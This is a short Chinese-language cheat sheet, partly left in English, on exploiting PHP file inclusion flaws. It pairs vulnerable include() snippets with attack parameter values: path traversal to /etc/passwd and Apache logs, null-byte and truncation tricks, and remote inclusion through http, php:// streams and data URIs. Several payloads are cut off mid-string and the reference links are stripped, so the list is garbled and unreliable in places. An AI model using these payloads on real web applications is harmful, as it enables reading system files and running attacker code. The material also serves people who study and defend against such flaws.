关于PHP文件包含一些漏洞分析
文章简单的分析了在php文件包含时inlcude的一个漏洞分析,下面希望对大家有点用处.
基本的文件包含漏洞,代码如下:
- <?php include(“includes/” . $_GET['file']); ?>
- * 包含同路径下的文件:
- file=.htaccess
- * 路径遍历:
- file=../../../../../../../../../var/lib/locate.db
- (该文件非常有趣因为它允许你搜索文件系统)
- * 包含注入PHP代码的文件:
- file=../../../../../../../../../var/log/apache/error.log
- (you can find other possible Apache dirs here and other ways here. Think about all possible logfiles, file uploads, session files etc.)
受限的本地文件包含如下代码:
- <?php include(“includes/” . $_GET['file'] . “.htm”); ?>
- * 空字符注入(Null Byte Injection):
- file=../../../../../../../../../etc/passwd%00
- (需要magic_quotes_gpc=off)
- * 列目录(Null Byte Injection):
- file=../../../../../../../../../var/www/accounts/%00
- (仅限BSD, 需要magic_quotes_gpc=off,详细信息here)
- *路径截断(Path Truncation):
- file=../../../../../../../../../etc/passwd........... …
- (详细信息参见 here 和 here)
- * 点号截断:
- file=../../../../../../../../../etc/passwd……………. …
仅限Windows,更多细节参见here
基本的远程文件包含,代码如下:
- <?php include($_GET['file']); ?>
- * 包含远程代码(Including Remote Code):
- file=[http|https|ftp]:
- (需要 allow_url_fopen=On 和 allow_url_include=On)
- * 使用php输入流(Using PHP stream php:
- file=php:
- (specify your payload in the POST parameters, watch urlencoding, details here, requires allow_url_include=On)
- * 使用PHP过滤函数(Using PHP stream php:
- file=php:
- (lets you read PHP source because it wont get evaluated in base64. More details here and here)
- * Using data URIs:
- file=data:
- (需要 allow_url_include=On)
- * 用于跨站脚本攻击(Using XSS):
-
- file=http:
- (makes sense if firewalled or only whitelisted domains allowed)
受限的远程文件包含漏洞,代码如下:
- <?php include($_GET['file'] . “.htm”); ?>
- * file=http:
- * file=http:
- * file=http:
- (需要 allow_url_fopen=On 和 allow_url_include=On)
静态远程文件包含漏洞,代码如下:
- <?php include(“http:
- * 中间人攻击(Man In The Middle)
- (lame indeed, but often forgotten)